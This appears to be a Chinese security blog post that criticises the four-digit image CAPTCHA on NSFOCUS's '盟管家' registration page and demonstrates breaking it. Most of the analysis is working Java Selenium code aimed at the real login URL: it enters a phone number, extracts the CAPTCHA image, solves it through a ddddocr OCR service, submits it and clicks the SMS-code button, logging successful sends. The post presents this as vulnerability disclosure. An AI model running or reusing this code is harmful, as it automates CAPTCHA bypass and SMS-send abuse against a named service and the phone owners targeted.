前言

由于网站注册入口容易被黑客攻击，存在如下安全问题：

1. 暴力破解密码，造成用户信息泄露
2. 短信盗刷的安全问题，影响业务及导致用户投诉
3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
   
   所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 绿盟科技盟管家PC 注册入口

简介：绿盟科技应用互联网技术启动“盟管家”服务模式。通过全方位的数据集成平台，实现信息互通、化繁为简。已注册用户可实时了解Case处理进度及情况，帮助客户智能化判断紧急漏洞、设备版本，实时提供风险预警、升级提醒等。新模式增加了多种反馈途径方便客户自主反馈问题，摆脱了时间与空间的限制，让绿盟的服务与您随时相伴。

二丶 安全分析：

采用传统的图形验证码方式，具体为4个数字,ocr 识别率在 95% 以上。
 
测试方法：
采用模拟器+OCR识别

1. 模拟器交互

		private static String INDEX_URL = "https://sso.nsfocus.com/auth/login?service=https%3A%2F%2Fuser.nsfocus.com%2Fvisitor%2Flogin";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			Thread.sleep(1 * 1000);
			// 1 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("username"), 1);
			phoneElemet.sendKeys(phone);
			String imgCode = null;
			byte[] imgByte = null;

			// 2 获取图形验证码
			WebElement imgElement = driver.findElement(By.xpath("//img[@class='imgCode']"));
			imgElement.click();
			Thread.sleep(1 * 1000);

			String imgBase64 = imgElement.getAttribute("src");
			imgByte = GetImage.imgStrToByte(imgBase64);
			int len = (imgByte != null) ? imgByte.length : 0;
			imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;

			if (imgCode == null || imgCode.length() < 1) {
				System.out.println("imgCode=" + imgCode);
				return retEntity;
			}
			// 3 输入识别出来的图形验证码
			WebElement codeInElement = driver.findElement(By.id("captcha"));
			codeInElement.sendKeys(imgCode);

			// 4 点击获取验证码
			Thread.sleep(1 * 1000);
			WebElement getCodeElement = driver.findElement(By.id("callPhoneCode"));
			if (getCodeElement != null)
				getCodeElement.click();

			// 5 获取结果
			Thread.sleep(2000);
			String gtInfo = getCodeElement.getText();
			retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
			if (gtInfo != null && gtInfo.contains("发送中")) {
				retEntity.setRet(0);
				ddddOcr.saveFile("Nsfocus", imgCode, imgByte);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

	

2. 获取图形验证码

public static byte[] callJsById(WebDriver driver, String id) {
		return callJsById(driver, id, null);
	}

	public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
		String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
		js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
		js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
		js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
		js += "let base64String = c.toDataURL();return base64String;";
		String src = ((JavascriptExecutor) driver).executeScript(js).toString();
		String base64Str = src.substring(src.indexOf(",") + 1);
		if (base64 != null) {
			base64.append(base64Str);
		}
		byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
		return vBytes;
	}

3.图形验证码识别（Ddddocr）

public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("ddddUrl=" + ddddUrl);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);

			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10000);
			con.setReadTimeout(10000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

			out = con.getOutputStream();

			if (bigImage != null && bigImage.length > 0) {
				out.write(boundarybytesString.getBytes("UTF-8"));
				String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
				paramString += "Content-Type: application/octet-stream\r\n\r\n";
				out.write(paramString.getBytes("UTF-8"));
				out.write(bigImage);
			}

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));

			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}
	

	public void saveFile(String factory, String imgCode, byte[] imgByte) {
		try {
			String basePath = ConstTable.codePath + factory + "/";
			File ocrFile = new File(basePath + imgCode + ".png");
			FileUtils.writeByteArrayToFile(ocrFile, imgByte);
		} catch (Exception e) {
			logger.error("saveFile() " + e.toString());
		}
	}

4. 图形OCR识别结果：

5. 测试返回结果：

三 丶测试报告 ：

四丶结语

绿盟科技应用互联网技术启动“盟管家”服务模式。通过全方位的数据集成平台，实现信息互通、化繁为简。已注册用户可实时了解Case处理进度及情况，帮助客户智能化判断紧急漏洞、设备版本，实时提供风险预警、升级提醒等。作为老牌安全头部科技公司， 技术实力也应该不错，但采用的还是老一代的图形验证码已经落伍了， 用户体验一般，容易被破解， 一旦被国际黑客发起攻击，将会对老百姓形成骚扰，影响声誉。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

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谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

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